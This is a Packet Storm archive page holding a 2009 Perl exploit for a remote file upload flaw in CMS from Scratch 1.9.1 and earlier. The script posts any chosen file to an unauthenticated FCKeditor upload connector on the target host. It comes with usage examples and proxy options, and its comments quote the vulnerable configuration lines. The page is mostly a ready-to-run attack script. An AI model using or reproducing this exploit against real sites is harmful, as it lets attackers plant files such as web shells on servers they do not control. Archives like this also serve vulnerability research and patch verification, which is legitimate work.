exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CMS From Scratch 1.9.1 File Upload

CMS From Scratch 1.9.1 File Upload
Posted Feb 3, 2009
Authored by StAkeR

CMS from Scratch versions 1.9.1 and below remote file upload exploit.

tags | exploit, remote, file upload
SHA-256 | cf765e124912db25bd6369c12bbdc0e1c1a2940895b9c27c14ddb35d9f5270a3

CMS From Scratch 1.9.1 File Upload

Change Mirror Download
#!/usr/bin/perl 
# ----------------------------------------------------------------
# CMS from Scratch <= 1.9.1 (fckeditor) Remote File Upload Exploit
# by yeat - staker[at]hotmail[dot]it
# https://scratchwebdesignforums.com/forums/index.php?showtopic=629
# ----------------------------------------------------------------
# (fckeditor/editor/filemanager/connectors/php/config.php)
# 25. global $Config ;
# 26.
# 27. $Config['Enabled'] = (isset($_SESSION['loginStatus']) ||
# $_SESSION == NULL) ? true : false ;
# ...
# 39. $Config['UserFilesAbsolutePath'] =
# realpath($_SERVER['DOCUMENT_ROOT']);
# ----------------------------------------------------------------

use Getopt::Std;
use LWP::UserAgent;

getopts('p:',\my %opts);

my $http = new LWP::UserAgent;
my ($host,$file) = @ARGV;


Main::RunExploit();


# Main Package

package Main;


sub Usage {

return print <<EOF;
+------------------------------------------------------------------+
| CMS from Scratch <= 1.9.1 (fckeditor) Remote File Upload Exploit |
+------------------------------------------------------------------+
by yeat - staker[at]hotmail[dot]it

Usage: perl xpl.pl host/path file [OPTIONS]
host: target host and cms path
file: file to upload

Options:

-p [specify a proxy] [server]:[port]

Example:
perl xpl.pl localhost/cms yeat.jpg
perl xpl.pl localhost/cms yeat.jpg -p 213.151.89.109:80

EOF

}


sub RunExploit
{
if (defined $opts{p}) {
HTTP::Proxy($opts{p});
}

if (@ARGV < 2 || @ARGV > 4) {
Main::Usage();
}
else {
FileUpload::Exploit($file);
}
}



# File Upload Package

package FileUpload;

sub Exploit
{
my $file = shift;
my $path = "/fckeditor/editor/filemanager/connectors/php/upload.php?Type=File";


my $data = { NewFile => [$file,$file] };

my $send = $http->post('https://'.$host.$path,
$data,
Content_Type => 'multipart/form-data',
);

if ($send->is_success) {
print $send->content;
exit;
}
else {
print "Exploit Failed!\n";
exit;
}
}




# HTTP Package

package HTTP;


sub Cookies
{
return $http->default_header('Cookie' => $_[0]);
}


sub UserAgent
{
return $http->agent($_[0]);
}


sub GET
{
if ($_[0] !~ m{^https://(.+?)$}i) {
return $http->get('https://'.$_[0]);
}
else {
return $http->get($_[0]);
}
}


sub http_header
{
return $http->default_header($_[0]);
}


sub Proxy
{
return $http->proxy('http', 'https://'.$_[0]);
}


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close